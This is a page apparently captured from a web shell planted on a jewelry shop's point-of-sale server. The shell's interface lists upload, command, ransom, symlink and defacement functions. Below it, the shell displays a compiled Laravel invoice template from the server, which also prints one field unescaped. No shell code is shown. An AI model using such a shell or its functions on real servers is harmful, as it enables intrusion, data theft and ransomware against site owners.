KUJUNTI.ID MINISH3LL
Path : /var/www/html/jewelry-pos/storage/framework/views/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/jewelry-pos/storage/framework/views/1e83c7fd6d129da3e380f452b56e9206.php


<?php $__env->startSection('content'); ?>
    <div class="" style="display: flex;justify-content: center;width: 100%;height: 100%;background-color: #eee;">



        <div class="" style="height: 100%;width: 100%;">
            <div class="text-center bg-white print" id="print" style="width: 100%;height: 100%;margin: auto;color: rebeccapurple">
                
                
                
                
                
                <div class="row" style="display: flex;justify-content: center;align-items: center;color: rebeccapurple;">
                    <div class="col-sm-6 col-xl-6 p-2" style="border: 1px solid rebeccapurple;display: flex;justify-content: center;align-items: center;">
                        <h1 style="font-weight: bold;font-size: 24px"><?php echo e($settings_->shop_name); ?></h1>
                    </div>
                </div>
                <div class="mt-4 ml-2 mr-2" style="display: flex;justify-content: center;align-items: center;color: rebeccapurple">
                    <div class="row" style="width: 98%;">
                        <div class="col-sm-6 col-xl-8 text-left" style="font-size: 14px;">
                            <?php echo e(__('message.cashier')); ?> : <b><?php echo e($cashie); ?></b>
                        </div>
                        <div class="col-sm-6 col-xl-4 text-right" style="font-size: 14px">
                            <?php echo e(__('message.invoice date')); ?> : <b><?php echo e(now()->toDateTimeString()); ?></b>
                        </div>
                    </div>
                </div>
                <div class="mt-4 ml-2 mr-2" style="display: flex;justify-content: center;align-items: center">
                    <div class="row" style="width: 98%;">
                        <div class="col-sm-8 col-xl-8 text-left" style="font-size: 14px">
                            <?php echo e(__('message.location')); ?> : <b><?php echo e($settings_->address); ?></b>
                        </div>
                        <div class="col-sm-4 col-xl-4 text-right" style="font-size: 14px">
                            <?php echo e(__('message.phone number')); ?> : <b><?php echo e($settings_->phone); ?></b>
                        </div>
                    </div>
                </div>
                <div class="mt-4 ml-2 mr-2" style="display: flex;justify-content: center;align-items: center">
                    <div class="row" style="width: 98%;">
                        <div class="col-sm-8 col-xl-8 text-left" style="font-size: 14px">
                            <span class="mr-4"> <?php echo e(__('message.start date')); ?>  <?php echo e(date('d/m/y' , strtotime($start_date))); ?> </span>
                            <span class="ml-4"> <?php echo e(__('message.to date')); ?>  <?php echo e(date('d/m/y' , strtotime($end_date))); ?> </span>
                        </div>
                    </div>
                </div>
                <div class="row mt-4" style="display: flex;justify-content: center;align-items: center;color: rebeccapurple;">
                    <div class="col-sm-6 col-xl-12 p-2 text-center" style="display: flex;justify-content: center;align-items: center;">
                        <h1 style="font-weight: bold;border-bottom: 2px solid rebeccapurple;font-size: 18px" class=""><?php echo e(__('message.sales invoice')); ?></h1>
                    </div>
                </div>
                <div class="row ml-2 mt-2" style="width: 98%;display: flex;justify-content: center;align-items: center">
                    <table class="table table-bordered table-hover table-striped">
                        <thead class="bg-fusion-50 text-center">
                        <tr>
                            <th>#</th>
                            <th class="text-center"><?php echo e(__('message.part number')); ?></th>
                            <th><?php echo e(__('message.product category')); ?></th>
                            <th><?php echo e(__('message.name')); ?></th>
                            <th><?php echo e(__('message.sales price')); ?></th>

                            <th><?php echo e(__('message.usd price')); ?></th>
                            <th><?php echo e(__('message.khr price')); ?></th>
                            <th><?php echo e(__('message.thb price')); ?></th>
                            <th><?php echo e(__('message.cost')); ?></th>
                            <th><?php echo e(__('message.selling rate')); ?></th>
                            <th><?php echo e(__('message.selling cost')); ?></th>
                            <th><?php echo e(__('message.qty')); ?></th>
                            <th><?php echo e(__('message.discount')); ?></th>
                            <th><?php echo e(__('message.weight')); ?></th>
                            <!-- <th><?php echo e(__('message.gold weight')); ?></th> -->
                            <th><?php echo e(__('message.wages')); ?></th>
                            <th><?php echo e(__('message.original wages')); ?></th>
                            <!-- <th><?php echo e(__('message.purity upgrade to')); ?></th> -->
                            <th><?php echo e(__('message.selling purity')); ?></th>
                            <th><?php echo e(__('message.diamond size')); ?></th>
                            <!-- <th><?php echo e(__('message.description')); ?></th> -->
                            <th><?php echo e(__('message.supplier rate')); ?></th>
                            <!-- <th><?php echo e(__('message.image')); ?></th> -->
                            <!-- <th><?php echo e(__('message.user')); ?></th> -->
                            <th><?php echo e(__('message.created date')); ?></th>
                        </tr>
                        </thead>
                        <tbody>
                        <?php $__currentLoopData = $sales; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $index => $sale): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                            <tr>
                                <td><?php echo e($index+1); ?></td>
                                <td class="text-center"><?php echo e($sale->part_number); ?></td>
                                <td>
                                    <?php echo e($sale->productCategory->name ?? ''); ?>


                                </td>
                                <td>
                                    <?php echo e($sale->name ??''); ?>

                                </td>
                                <td>
                                    <?php echo e(number_format($sale->sales_price , 2)); ?> <?php echo e($currency_->currency_symbol); ?>

                                </td>
                                <td class="credit text-center">
                                    <?php echo e(number_format($sale->usd_amount ?? 0 , 2)); ?> <?php echo e($currency_->currency_symbol); ?>

                                </td>
                                <td class="credit text-center">
                                    <?php echo e(number_format($sale->khr_amount ?? 0 ,2)); ?> ៛
                                </td>
                                <td class="credit text-center">
                                    <?php echo e(number_format($sale->thb_amount ?? 0 , 2)); ?> B
                                </td>
                                <td class="credit">
                                    <?php echo e(number_format($sale->cost(), 2)); ?> <?php echo e($currency_->currency_symbol); ?>

                                </td>
                                <td class="credit">
                                    <?php echo e(number_format($sale->selling_rate, 4)); ?> <?php echo e($currency_->currency_symbol); ?>

                                </td>
                                <td class="credit">
                                    <?php echo e(number_format($sale->selling_cost, 2)); ?> <?php echo e($currency_->currency_symbol); ?>

                                </td>
                                <td class="credit">
                                    <?php echo e($sale->qty??0); ?>

                                </td>
                                <td class="credit">
                                    <?php echo e(number_format($sale->discount, 2)); ?> <?php echo e($currency_->currency_symbol); ?>

                                </td>
                                <td>

                                    <?php echo e(number_format($sale->product->weight??0 , 2)); ?>

                                </td>
                                <!-- <td>

                                    <?php echo e(number_format($sale->goldWeight() , 2)); ?>

                                </td> -->
                                <td>
                                    <?php echo e(number_format($sale->wages??0 , 2)); ?>

                                </td>

                                <td>
                                    <?php echo e(number_format($sale->original_wages??0 , 2)); ?>

                                </td>
                                <!-- <td>
                                    <?php if($sale->purity_upgrade_to): ?>
                                        <?php echo e($sale->purity_upgrade_to??''); ?>

                                    <?php endif; ?>
                                </td> -->
                                <td>
                                    <?php if($sale->selling_purity): ?>
                                        <?php echo e($sale->selling_purity??''); ?>

                                    <?php endif; ?>
                                </td>
                                <td>
                                    <?php echo $sale->diamond_size; ?>

                                </td>
                                <!-- <td>
                                    <?php echo $sale->description; ?>

                                </td> -->
                                <td>
                                    <?php echo e($sale->supplier_rate); ?>

                                </td>
                                <!-- <td>
                                    
                                    <div class="col-xs-12 col-sm-10">
                                        <div class="d-flex justify-content-centers">
                                            <?php if($sale->image): ?>
                                                <img src="<?php echo e(asset($sale->image)); ?>" style="width:55px;">
                                            <?php else: ?>
                                                
                                            <?php endif; ?>
                                            
                                            
                                        </div>
                                    </div>
                                </td> -->
                                <!-- <td>
                                    <?php echo e($sale->user->name ?? '-'); ?>

                                </td> -->
                                <td>
                                    <?php echo e($sale->created_at->format('d/m/Y H:i')); ?>

                                </td>
                            </tr>
                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                        </tbody>
                    </table>
                </div>
               <div style="width: 100%;display: flex;justify-content: space-between;align-items: center">
                   <div class="text-center mt-4 ml-4 notPrint" style="width: 5%;; height: 50%;">
                                   <a href="<?php echo e(route('sales.index')); ?>" id="back" name="back" class="btn-sm btn-danger mt-6 fw-bold notPrint" style="cursor: pointer;color: white;">Back</a>
                               </div>
                   <div class="text-center mt-4 mr-4 notPrint" style="width: 5%;; height: 50%;">
                       <a id="print" name="print" class="btn-sm btn-info mt-6 fw-bold notPrint" onclick="return print()" style="cursor: pointer;color: white;">Print</a>
                   </div>
               </div>
            </div>
        </div>



    </div>
<?php $__env->stopSection(); ?>
<?php $__env->startSection('scripts'); ?>
    <script>
        window.print();
        setTimeout("closePrintView()", 1000);
        function closePrintView(){
            window.location.href = "<?php echo e(route('sales.index')); ?>?start_date=<?php echo e($start_date); ?>&end_date=<?php echo e($end_date); ?>&search=<?php echo e($search); ?>";
        }
    </script>
    <script>
        $(document).ready(function() {
            $("#js-nav-menu").removeClass('active');
            $("#js-nav-menu li ul li").removeClass('active');
            // $("#menu_setup_list").addClass('active open');
            // $("#collapse_setup").addClass('collapse in')
            // $("#menu_product").addClass('active')
            $("#menu_sales").addClass('active')
        })
    </script>
<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts.admin-main', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /var/www/html/jewelry-pos/resources/views/sales/list.blade.php ENDPATH**/ ?>

© KUJUNTI.ID